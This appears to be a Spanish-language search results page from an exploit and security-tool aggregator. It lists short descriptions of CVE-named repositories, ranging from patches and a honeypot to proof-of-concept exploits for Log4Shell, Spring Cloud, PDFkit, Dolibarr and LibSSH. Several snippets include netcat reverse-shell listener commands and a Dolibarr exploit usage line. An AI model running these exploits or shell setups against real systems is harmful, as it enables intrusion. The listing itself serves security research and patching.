1291840 matches found
Script-For-CVE-2024-20666
Script para CVE-2024-20666 Automatiza la actualización de la partición WinRE sin necesidad de redimensionarla primero y parchea la vulnerabilidad BitLocker CVE-2024-20666. Enlace de Microsoft Script encontrado aquí Funciona para Windows Server 2022 instalación de Server Core KB5034439:...
log4j-poc
log4j-poc Un exploit LDAP RCE para CVE-2021-44228 Log4Shell Descripción El servidor Tomcat 8 de demostración en el puerto 8080 tiene una aplicación vulnerable log4shell desplegada en él y el servidor también es vulnerable mediante ataques de user-agent. La aplicación de exploit remoto en esta dem...
CVE-2021-26084-patch-
Parche CVE-2021-26084 Parche CVE-2021-26084 proporcionado por "Confluence Security Advisory - 2021-08-25" esto es solo una solución temporal para servidores basados en Linux; Atlassian ha proporcionado una nueva versión corregida. Si no quieres actualizar, ¡solo aplícalo! instalación descarga el...
confluencePot
confluencePot ConfluencePot es un honeypot simple para la vulnerabilidad de inyección OGNL remota y no autenticada de Atlassian Confluence CVE-2022-26134. Acerca de la vulnerabilidad Puede encontrar el aviso oficial de Atlassian sobre esta vulnerabilidad aquí. Para obtener detalles sobre el...
CVE-2017-1000117
El que levanta un servidor con CVE-2017-1000117 ¡Ejecuta el siguiente comando, abre el navegador web y accede a http://localhost:8088! root@kitploit: $ git clone --recursive https://github.com/0gawa/CVE-2017-1000117 Hello World Si se muestra, ¡actualiza git! Es vulnerable...
CVE-2018-13379
IOCs para CObalt Strike/CVE-2018-13379 Todo el crédito para Awake/Arista/https://www.linkedin.com/in/kevin-romano-48071a42/ IOCs copiados de DD: https://awakesecurity.com/blog/exploiting-cve-2018-13379-a-case-study-of-threat-actors-exploiting-years-old-cves/...
Stagefright-cve-2015-1538-1
Stagefright-cve-2015-1538-1 Descubierto por Joshua J. Drake @jduck de ZIMPERIUM zLabs y su proyecto fue corregido por Niranjan Shrestha @niranjanshr13. Exploit para la vulnerabilidad RCE CVE-2015-1538 1 Desbordamiento de enteros en el manejo del átomo 'stsc' de MP4 en libstagefright ¡No olvides q...
PDFkit-CMD-Injection-CVE-2022-25765
PDFkit-CMD-Injection CVE-2022-25765 Exploit para CVE-2022-25765 inyección de comandos en pdfkit 0.8.6 Ver más detalles sobre la vulnerabilidad here PoC Ejecuta netcat en tu host: root@kitploit: $ nc -lvnp 1337 Ejecuta el exploit ejemplo: root@kitploit: $ ./CVE-2022-25765.py -t http://localhost -a...
Exploit-for-Dolibarr-17.0.0-CVE-2023-30253
Exploit POC para Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...
LibSSH-Authentication-Bypass
LibSSH-Bypass-de-Autenticación LibSSH Bypass de Autenticación CVE-2018-10933 Uso: Para usar este script, escriba: python3 LibAuth.py –help para ver todas las opciones y parámetros que necesitamos usar. Por lo tanto, necesitamos especificar la dirección IP de la víctima, el número de puerto y...
staystaystay
staystaystay staystaystay es un exploit de prueba de concepto para CVE-2021-1585, un problema de RCE de intermediario o punto final malicioso que afecta a Cisco ASA Device Manager ASDM. El problema fue descubierto originalmente por Malcolm Lashley y divulgado en el verano de 2021. Sin embargo, en...
CVE-2018-25031
Este repositorio no tiene un README...
RCE-in-Spring-Cloud-CVE-2022-22963
Exploit para RCE en Spring Cloud CVE 2022-22963 Exploit para la ejecución remota de comandos CVE-2022-22963 en Spring Cloud Function Consulta los detalles sobre la vulnerabilidad aquí y aquí PoC Ejecuta netcat en tu host: root@kitploit: $ nc -lvnp 9001 Ejecuta el exploit ejemplo con el puerto...
external_expat_2.1.0_CVE-2022-43680
Expat, versión 2.1.0 Este es Expat, una biblioteca de C para analizar XML, escrita por James Clark. Expat es un analizador XML orientado a flujos. Esto significa que registras manejadores con el analizador antes de comenzar el análisis. Estos manejadores se invocan cuando el analizador descubre l...
CVE-2021-22145-poc
CVE-2021-22145-poc xxx...
cfengine-CVE_2015_0235
CVE20150235 Exploit de desbordamiento de búfer en gethostbyname de glibc - CVE-2015-0235 https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability Obtenido originalmente del mensaje de Ben Bomgardner a la lista de correo help-cfengine...
patch-openssl-CVE-2014-0291_CVE-2015-0204
patch-openssl-CVE-2015-0291CVE-2015-0204 Parchear openssl con ansible Uso : root@kitploit: pip install ansible ansible-playbook -i yourinventoryfile patch-openssl-CVE-2015-0291CVE-2015-0204 tuarchivoinventario solo necesita contener tu lista de servidores: root@kitploit: 192.168.0.10...
CVE-2020-1472
Script de prueba de ZeroLogon Un script Python que utiliza la librería Impacket para probar la vulnerabilidad del exploit Zerologon CVE-2020-1472. Intenta realizar la omisión de autenticación de Netlogon. El script finalizará inmediatamente cuando realice con éxito la omisión, y no realizará...